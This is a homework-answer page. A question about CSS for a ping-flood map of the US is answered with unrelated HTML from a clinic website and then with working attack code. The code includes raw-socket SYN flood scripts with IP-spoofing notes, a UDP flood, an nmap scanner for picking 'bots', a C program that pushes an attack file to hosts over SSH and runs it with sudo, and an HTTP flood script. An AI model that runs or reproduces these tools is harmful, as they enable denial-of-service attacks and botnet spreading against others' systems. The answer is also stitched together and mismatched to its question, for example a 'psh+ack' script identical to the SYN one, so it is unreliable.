In: Computer Science
Make CSS code for ping flood attack of the United States
** zoom in and out of the map, background color, states listed, scrollbar, title Ping Flood attack in US Map, etc.
Design whatever you would want to
programming language can be any
As defined by Netscout, "An Internet Control Message Protocol (ICMP) flood attack, also known as a Ping flood attack, is a common Denial-of-Service (DoS) attack in which an attacker attempts to overwhelm a targeted device with ICMP echo-requests (pings)."
Kindly give a Thumbs up/Like if you find this answer helpful. It means a lot to me. God bless you !!
Here is CSS code for your problem:
<!DOCTYPE html>
<!--[if IE 8]> <html class="no-js lt-ie9" lang="en"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]-->
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width" />
<title>Mandya Clinic</title>
<link rel="stylesheet" href="css/fancyscroll.css" media="screen" />
<link rel="stylesheet" href="css/normalize.css" media="screen" />
<link rel="stylesheet" href="css/foundation.css" media="screen" />
<link rel="stylesheet" href="style.css" media="screen" />
<link rel="stylesheet" href="css/font-awesome.min.css">
<!--[if IE 7]>
<link rel="stylesheet" href="css/font-awesome-ie7.min.css">
<![endif]-->
<script type="text/javascript"src="js/vendor/custom.modernizr.js"></script>
<script type="text/javascript" src="js/fancyscroll.min.js"></script>
<script type="text/javascript">
window.onload = function(){
var f=new fancyScroll({easingTime:750});
//click handlers for IE < 8
f.addScroll(['home_link','about_link','team_link','contact_link','logo_link'],['home','about','team','contact','logo']);
};
</script>
</head>
<body>
<div class="header">
<div class="large-12 columns">
<div class="row">
<div id='logo' class="logo">
<a id='logo_link' href="#"><img src="images/logo.png"></a>
</div>
<div class="nav">
<ul>
<li><a id='home_link' href="#"><i class="icon-home"></i>Home</a></li>
<li><a id='about_link' href="#"><i class="icon-plus-sign-alt"></i>About Us</a></li>
<li><a id='team_link' href="#"><i class="icon-stethoscope"></i>Meet Team</a></li>
<li><a id='contact_link' href="#"><i class="icon-hospital"></i>Contact Us</a></li>
</ul>
</div>
</div>
</div>
</div><!--End header-->
<div id='home' class="fancyscroll-section page-end" style="top:0px;">
<div id="page1-bg" offset="-400" class="fancyscroll-background">
<div class="row welcome large-12 columns">
<div class="large-7 columns">
</div> <!--End large-7-->
<div class="large-5 columns">
<!-- Begin Signup Form -->
<div id="optin">
<h2><i class="icon-envelope"></i>Online Appointment Form</h2>
<form action="send_mail.php" method="post" class="custom" target="_blank">
<input type="email" size="30" name="email" placeholder="Your e-mail" class="required email">
<input type="text" size="30" name="name" placeholder="Your full name" class="name">
<input type="text" size="30" name="phone" placeholder="Your phone number" class="name">
<input type="text" size="30" name="age" placeholder="Your age" class="name">
<select id="customDropdown1" class="medium">
<option>Select branch</option>
<option>Mandya Clinic</option>
<option>Mandya Polyclinic</option>
</select>
<textarea placeholder="Please enter your Message..." name="message"></textarea>
<input type="submit" value="Make an appointment" name="subscribe" class="button">
</form>
</div>
</div> <!--End large-5-->
</div>
</div>
</div><!-- end #home -->
<div id='about' class="fancyscroll-section page-end" style="top:900px;">
<div id="page2-bg" offset="-400" class="fancyscroll-background">
<div class="panel">
<div class="row large-12 columns">
<div class="hmessage">
<h1><i style="padding-right:10px;" class="icon-plus-sign-alt"></i>About US</h1>
<hr />
</div>
<div class="row">
<div class="large-5 columns">
<!--<iframe src="http://player.vimeo.com/video/35043068?title=0&byline=0&portrait=0&color=ffffff" width="380" height="221" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe> -->
<img class="th radius" src="images/hospital.jpg" />
</div>
<div class="large-7 columns">
<p>In 2001, Dr. Devi Shetty, Chairman Narayana Health stepped in to make a difference to the Indian healthcare industry. He put into place a dream hospital project called Narayana Hrudayalaya that started modestly with 300 beds in Bangalore and went on to become a Health City. In a decade's time it grew exponentially with multiple location presence, recording a 5700 beds healthcare conglomerate by end 2012. From truly humble beginnings, the hospital currently caters to 80,000 patients per month and performs 3500 surgeries. It is one man's passion that ignited this spark.</p>
<p>Besides Bangalore Narayana Health has hospitals in Hubli, Dharwad, Kolar, Hyderabad, Kolkata, Jamshedpur, Raipur, Jaipur and Ahmedabad in addition to international subsidiaries in Malaysia and Cayman Islands. Narayana Institute of Cardiac Sciences, Bangalore and Narayana Multispeciality Hospital, Jaipur are JCI accredited.Narayana Institute of Cardiac Sciences, Bangalore and Narayana Multispeciality Hospital, Jaipur are JCI accredited.</p>
</div>
</div>
<br/>
<br/>
</div>
</div>
</div>
</div><!-- end #about -->
<div id='team' class="fancyscroll-section page-end" style="top:1800px;">
<div id="page3-bg" offset="-400" class="fancyscroll-background">
<div class="panel">
<div class="row">
<div class="hmessage">
<h1><i style="padding-right:10px;" class="icon-user-md"></i>Meet Our Doctor</h1>
</div>
<hr />
<div class="large-4 columns homeboxes">
</div>
<div class="large-4 columns homeboxes">
<ul class="ch-grid">
<li>
<div class="ch-item ch-img-2">
<div class="ch-info">
<h3>Dental Clinic</h3>
<p>Dr. Lalit Mehta</p>
</div>
</div>
</li>
</ul>
<h4>Dr. Lait Mehta</h4>
<p>The universe is big, its vast and complicated, and ridiculous. And sometimes, very rarely, impossible things just happen and we call them miracles. And that's the theory. Nine hundred years, never seen one yet, but this would do me</p>
</div>
<div class="large-4 columns homeboxes">
</div>
</div>
</div> <!--End services-->
</div>
</div><!-- end #team -->
<div id='contact' class="fancyscroll-section page-end" style="top:2700px;">
<div class="panel">
<div class="hmessage">
<h1><i style="padding-right:10px;" class="icon-edit"></i>Our Contact Details</h1>
</div>
<hr />
<div style="margin-top:50px;" class="row">
<div class="large-6 columns">
<h2 style="margin-bottom:20px;"><i class="icon-envelope"></i>Contact Form</h2>
<form action="#" method="post" class="custom" target="_blank">
<input type="email" size="30" placeholder="Your e-mail" class="required email">
<input type="text" size="30" placeholder="Your full name" class="name">
<input type="text" size="30" placeholder="Your phone number" class="name">
<textarea placeholder="Please enter your Message..." name="message"></textarea>
<input type="submit" value="Get In Touch" name="subscribe" class="button">
</form>
</div>
<div class="large-6 columns contact-details">
<ul id="address">
<li><i class="icon-hospital"></i>Mandya Clinic</li>
<li><i class="icon-bell-alt"></i>(8:00 – 14:00)</li>
<li><i class="icon-mobile-phone"></i>+91-8022263924</li>
<li><i class="icon-home"></i>Kilari Road, Chikpete, Bangalore 560053</li>
<hr/>
<li><i class="icon-hospital"></i>Mandya Polyclinic</li>
<li><i class="icon-bell-alt"></i>(8:00 – 14:00)</li>
<li><i class="icon-mobile-phone"></i>+91-8026601947</li>
<li><i class="icon-home"></i>Kubera Mansion, VV Puram, Bangalore 560004</li>
<hr/>
<li><i class="icon-envelope"></i><a href="[email protected]">[email protected]</a></li>
</ul>
</div>
</div>
<!-- Footer -->
<footer class="row">
<div class="large-12 columns">
<hr />
<div class="row">
<div class="large-5 columns" style="margin-top:20px;">
<p>©Copyright 2014 Mandya Clinic.</p>
</div>
</div>
</footer>
</div>
</div>
<script>
document.write('<script src=' +
('__proto__' in {} ? 'js/vendor/zepto' : 'js/vendor/jquery') +
'.js><\/script>')
</script>
<script src="js/foundation.min.js"></script>
<script>
$(document).foundation();
</script>
</body>
</html>
Given the CSS code, we now implement the DoS attacks w
TCPSyn.py
import time
import socket, sys
from struct import *
# checksum functions needed for calculation checksum
def checksum(msg):
s = 0
# loop taking 2 characters at a time
for i in range(0, len(msg), 2):
w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
s = s + w
s = (s>>16) + (s & 0xffff);
s = s + (s >> 16);
#complement and mask to 4 byte short
s = ~s & 0xffff
return s
#create a raw socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
except socket.error , msg:
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print "success"
# tell kernel not to put in headers, since we are providing it, when using IPPROTO_RAW this is not necessary
# s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# now start constructing the packet
packet = '';
source_ip = '10.1.12.66'
dest_ip = '10.1.12.173' # or socket.gethostbyname('www.google.com')
# ip header fields
ip_ihl = 5
ip_ver = 4
ip_tos = 0
ip_tot_len = 0 # kernel will fill the correct total length
ip_id = 54321 #Id of this packet
ip_frag_off = 0
ip_ttl = 255
ip_proto = socket.IPPROTO_TCP
ip_check = 0 # kernel will fill the correct checksum
ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
ip_daddr = socket.inet_aton ( dest_ip )
ip_ihl_ver = (ip_ver << 4) + ip_ihl
# the ! in the pack format string means network order
ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
# tcp header fields
tcp_source = 1234 # source port
tcp_dest = 80 # destination port
tcp_seq = 454
tcp_ack_seq = 0
tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes
#tcp flags
tcp_fin = 0
tcp_syn = 1
tcp_rst = 0
tcp_psh = 0
tcp_ack = 0
tcp_urg = 0
tcp_window = socket.htons (5840) # maximum allowed window size
tcp_check = 0
tcp_urg_ptr = 0
tcp_offset_res = (tcp_doff << 4) + 0
tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
# the ! in the pack format string means network order
tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
user_data = 'Hello, how are you'
# pseudo header fields
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header) + len(user_data)
psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header + user_data;
tcp_check = checksum(psh)
#print tcp_checksum
# make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order
tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)
# final full packet - syn packets dont have any data
packet = ip_header + tcp_header + user_data
sent = 0
#Send the packet finally - the port specified has no effect
st = time.time()
while(1):
end = time.time()
if(end-st <60):#Change this value to change the duration of attack!!!
s.sendto(packet, (dest_ip , 0 ))
sent = sent + 1
else:
exit()
TCPpsh+ack.py
import time
import socket, sys
from struct import *
# checksum functions needed for calculation checksum
def checksum(msg):
s = 0
# loop taking 2 characters at a time
for i in range(0, len(msg), 2):
w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
s = s + w
s = (s>>16) + (s & 0xffff);
s = s + (s >> 16);
#complement and mask to 4 byte short
s = ~s & 0xffff
return s
#create a raw socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
except socket.error , msg:
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print "success"
# tell kernel not to put in headers, since we are providing it, when using IPPROTO_RAW this is not necessary
# s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# now start constructing the packet
packet = '';
source_ip = '10.1.10.1'
dest_ip = '10.1.12.173' # or socket.gethostbyname('www.google.com')
# ip header fields
ip_ihl = 5
ip_ver = 4
ip_tos = 0
ip_tot_len = 0 # kernel will fill the correct total length
ip_id = 54321 #Id of this packet
ip_frag_off = 0
ip_ttl = 255
ip_proto = socket.IPPROTO_TCP
ip_check = 0 # kernel will fill the correct checksum
ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
ip_daddr = socket.inet_aton ( dest_ip )
ip_ihl_ver = (ip_ver << 4) + ip_ihl
# the ! in the pack format string means network order
ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
# tcp header fields
tcp_source = 1234 # source port
tcp_dest = 80 # destination port
tcp_seq = 454
tcp_ack_seq = 0
tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes
#tcp flags
tcp_fin = 0
tcp_syn = 1
tcp_rst = 0
tcp_psh = 0
tcp_ack = 0
tcp_urg = 0
tcp_window = socket.htons (5840) # maximum allowed window size
tcp_check = 0
tcp_urg_ptr = 0
tcp_offset_res = (tcp_doff << 4) + 0
tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
# the ! in the pack format string means network order
tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
user_data = 'Hello, how are you'
# pseudo header fields
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header) + len(user_data)
psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header + user_data;
tcp_check = checksum(psh)
#print tcp_checksum
# make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order
tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)
# final full packet - syn packets dont have any data
packet = ip_header + tcp_header + user_data
#Send the packet finally - the port specified has no effect
st = time.time()
while(1):
end = time.time()
if(end-st <60):
s.sendto(packet, (dest_ip , 0 ))
else:
exit()
botSearcher.py
from xml.dom import minidom
import os
IPList = []
os.system("nmap -sA 10.1.12.0/24 -oX nmapOP.xml") # <--Can change the network in which we are creating bots
xmldoc = minidom.parse('nmapOP.xml')
hosts = xmldoc.getElementsByTagName('host')
for node in hosts:
filterCheck = node.getElementsByTagName('extraports')
for eachCheck in filterCheck:
check = eachCheck.getAttribute('state')
if(check == "unfiltered"):
Addr = node.getElementsByTagName('address')
for ip in Addr:
if(ip.getAttribute('addrtype')=='ipv4'):
print str(ip.getAttribute('addr'))
IPList.append(str(ip.getAttribute('addr')))
g = open("IPList.txt","w")
for i in IPList:
g.write(i)
g.write('\n')
g.close()
udpflood.py
import socket #Imports needed libraries
import random
import time
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket
bytes=random._urandom(1024) #Creates packet
ip='10.1.12.173' #The IP we are attacking
port=80 #Port we direct to attack
sent=0
st = time.time()
print 'success'
st = time.time()
while(1): #Infinitely loops sending packets to the port until the program is exited.
end = time.time()
if(end-st<60):#Change this value to change the duration of attack!!!
sock.sendto(bytes,(ip,port))
#print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
sent= sent + 1
else:
exit()
botMaker.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<pthread.h>
#include<string.h>
char botUsername[20];
char botPassword[30];
char attackFile[20];
void * connect(void *);
int main()
{
FILE *fp;
fp = fopen("IPList.txt","r");
pthread_t thread[30];
char ip[30][20];
char * pos;
int i = 0,len;
printf("Input Bot User-name :");
scanf("%s",botUsername);
printf("Input Bot Password :");
scanf("%s",botPassword);
printf("Input Attack File :");
scanf("%s",attackFile);
if(fp!=NULL)
{
while(fgets(ip[i],sizeof(ip[i]),fp)!=NULL)
{
if((pos=strchr(ip[i],'\n'))!=NULL)
*pos = '\0';
i++;
}
}
len = i;
fclose(fp);
for(i = 0;i<len;i++)
pthread_create(&thread[i],NULL,connect,(void *)ip[i]);
for(i = 0;i<len;i++)
pthread_join(thread[i],NULL);
return 0;
}
void * connect(void * ptr)
{
char b[100];
FILE *fp;
char ip[100],ip1[100],ip2[100];
char cmd1[300],cmd2[300],pwd[50];
strcpy(ip,ptr);
strcpy(ip1,ip);
strcat(cmd1,"sshpass -p ");
strcat(pwd,"'");
strcat(pwd,botPassword);
strcat(pwd,"'");
strcat(cmd1,pwd);
strcat(cmd1," scp ");
strcat(cmd1,attackFile);
strcat(cmd1," ");
strcat(cmd1,botUsername);
strcat(cmd1,"@");
strcat(cmd1,strcat(ip1,":/tmp"));
system(cmd1);
strncpy(ip2,ip,16);
strncpy(cmd2,"sshpass -p ",15);
strcat(cmd2,pwd);
strcat(cmd2," ssh -q -o 'NoHostAuthenticationForLocalhost yes' -o 'ConnectTimeout=1' ");
strcat(cmd2,botUsername);
strcat(cmd2,"@");
strcat(cmd2,ip2);
strcpy(b,"echo ");
strcat(b,botPassword);
strcat(b," |sudo -S python /tmp/");
strcat(b,attackFile);
fp = popen(cmd2,"w");
fputs(b,fp);
pclose(fp);
}
Solution 2
Following is the python script for performing denial of service attack for small website which didn’t expect so much socket connection:
# Please note that running this code might cause your IP blocked by server. And purpose of this code is only learning.
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
s.close()
# Driver code
for i in range(1, 1000):
attack()
We can use above code as
python ddos.py target_ip_address apache
Kindly give a Thumbs up/Like if you find this answer helpful. It means a lot to me. God bless you !!